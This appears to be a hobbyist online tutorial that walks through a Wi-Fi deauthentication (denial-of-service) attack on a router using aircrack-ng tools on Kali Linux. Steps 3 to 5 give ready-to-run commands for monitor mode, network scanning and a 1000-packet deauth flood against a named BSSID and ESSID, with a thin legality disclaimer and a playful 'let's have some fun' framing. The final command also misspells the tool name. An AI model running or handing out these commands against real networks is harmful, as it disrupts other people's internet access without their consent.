Intro: How to Knock a Router Off the Internet (in Under 10 Minutes)
In this tutorial I am going to show you how to run a DOS (denial of service) attack against a router. This will block people from using the router that you attack.
Let's start out with a XKCD
This tutorial will only specify how to run the attack off a linux system, don't let this discourage you, it is super easy to run a live version of Kali linux (what I used (aircrack-ng is preinstalled)) or a other linux distro (if you use a other linux distro you will need to install aircrack-ng), here are two websites that will walk you though running Kali off a usb drive https://docs.kali.org/downloading/kali-linux-live-usb-installhttps://24itworld.wordpress.com/2016/12/11/how-to-run-live-kali-linux-from-usb-drive/
This may be illegal where you live, do not run this attack at any router that you do not have permission to attack. This should not cause harm or damage to the router, but it could damage to the router, use at your own risk.
Let's have some fun.
Step 1: I Am Not Liable If This Happens
Step 2: A Video for Those Who Prefer One
Step 3: Set the Wifi Adapter to Monitor Mode
iwconfig #find the wifi adapter name
airmon-ng check kill #make sure that airmon-ng is not running
airmon-ng start wlan0 #start airman-ng and set wlan0 to monitor mode (replace wlan0 with the name of your wifi adapter)
Step 4: Find Available Networks
iwconfig #find wifi adapter name (in my case it had changed to wlan0mon)
airodump-ng wlan0mon #Monitor available networks using wlan0mon (replace wlan0mon with the name of your wifi adapter)
Step 5: Send the Junk Packets
Here is the final command
airplay-ng --deauth 1000 -a C0:56:27:4A:3F:B2 -e "NETGEAR94 2.4GHz_Ext" wlan0mon
Now I'm going to explain what each part of this command does
airplay-ng --deauth 1000 #this part sends 1000 junk packets
-a C0:56:27:4A:3F:B2 -e "NETGEAR94 2.4GHz_Ext" wlan0mon #Send those packets to a router with the BSSID "C0:56:27:4A:3F:B2" & ESSID "NETGEAR94 2.4GHz_Ext"
Replace the BSSID & ESSID with the BSSID & ESSID of the router you want to attack.
send those packets though the wifi adapter "wlan0mon" (replace wlan0mon with the name of your wifi adapter)
Step 6: Success!
It's as simple as that.
To stop sending the packets press CTL+C or close the terminal.
To rerun the last command press the up arrow then enter.
